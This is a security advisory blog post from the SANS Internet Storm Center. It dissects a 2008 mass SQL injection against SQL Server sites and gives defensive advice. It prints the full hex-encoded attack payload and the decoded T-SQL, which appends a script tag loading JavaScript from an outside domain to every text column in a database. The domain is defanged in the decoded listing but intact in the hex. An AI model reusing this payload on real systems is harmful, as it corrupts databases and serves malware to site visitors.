My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

SQL Injection: More of the same

Published: 2008-06-13. Last Updated: 2008-06-16 01:18:07 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

We continue to receive more reports of SQL injection attacks, using updated URLs. One fo the "neat" features of this exploit is how it uses one single SQL statement which will pull all the necessary information from the database itself. Here is the latest version (thanks Jakub for submitting this!):

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056
41524348415228323535292C404320564152434841522832353529204445434C4152
45205461626C655F437572736F7220435552534F5220464F522053454C45435420612
E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C73797363
6F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970
653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335
204F5220622E78747970653D323331204F5220622E78747970653D31363729204F5045
4E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C
655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F535
4415455533D302920424547494E20455845432827555044415445205B272B40542B275D
20534554205B272B40432B275D3D525452494D28434F4E564552542856415243484152
2834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474
703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743E2
7272729204645544348204E4558542046524F4D205461626C655F437572736F7220494
E544F2040542C4043204

We have looked at these before. But let me re-iterate step by step what exactly is happening here:
First of all, we got a bit of URL encoding here. The "%20" represents a space. This turns the SQL statement into:

DECLARE @S VARCHAR(4000); SET @S=CAST(....

First a variable '@S' is declared as a "varchar" (comparable to a "string" in other languages) with a length of 4000 characters. Then, the output of 'CAST' is assigned to the variable. CAST is just used to turn the long hex string into a "varchar".

Bojan told us in an earlier diary how to convert the hex string using perl. In this case, we end up with:
(I slightly modified the included URL by adding spaces and turning http to hxxp. We had issues in the past with proxies flagging our diaries as "malicious").
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
''''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Lets go over this line by line:

First, two variables (T and C) are declared

DECLARE @T VARCHAR(255),@C VARCHAR(255) Next, we declare a "table_cursor". A table cursor will receive the output of a query line by line. It's essentially a "for" loop over all results returned by the query

DECLARE @T VARCHAR(255),@C VARCHAR(255) The cursor is defined for the following query:
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

This SQL query uses one particular trick: sysobject is a special table in SQL Server. It lists all the other tables available. syscolumns works similar for all columns found in these tables.

The query selects all "objects" with an xtype of "u". These are tables created by the user. System tables (like "sysobjects" and "syscolumns" are ignored). Next, it limits it to columns of type 35 (text), 231 (sysname) and 167 (varchar). These are datatypes that can hold a string of characters.

Our "cursor" will now retrieve all the results, and assign them to the variables "T" (table name) and "C" (column name)

Update... initially I posted the script part wrong. A couple readers pointed out that it was actually not escaped right. Our diary editor doesn't do that on purpose as handlers sometimes need to add html/javascript/css to make a diary "work"... well, luckily I at least escaped the script part... stuff happens

. The next sql statement will use these variables:

BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
"<script src=hxxp://www. adsitelo .com/b.js></script>")

For all values of these selected columns, the malicious javascript is added. As a result, you will see the javascript littered throughout the application. Wherever the website is using a string from the database, the javascript is now added. You frequently see it as part of the title tag.

Finally: How to defend against this? The "simple" answer is of course to just not have any SQL injection faults. But that's easier said then done, in particular for an existing legacy application. A couple other things you can do:

  • limit the database user the web application uses. Maybe it doesn't have to update anything, or only few tables
  • Monitor your webapplication for SQL errors. These statements may create some errors if your web application doesn't have sufficient privileges
  • keep a close eye on your data and your application. Look for new javascript in titles and other spots that shouldn't have any

And finally: At SANSFIRE,, we will debut our new class, SEC522 "Defending Web Applications". Its an updated version of SEC519 ("Web Application Security") and now covers web services and other new topics.

------
Johannes B. Ullrich Ph.D. , CTO SANS Internet Storm Center

Keywords: SQL Injection
0 comment(s)
My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

Comments


Diary Archives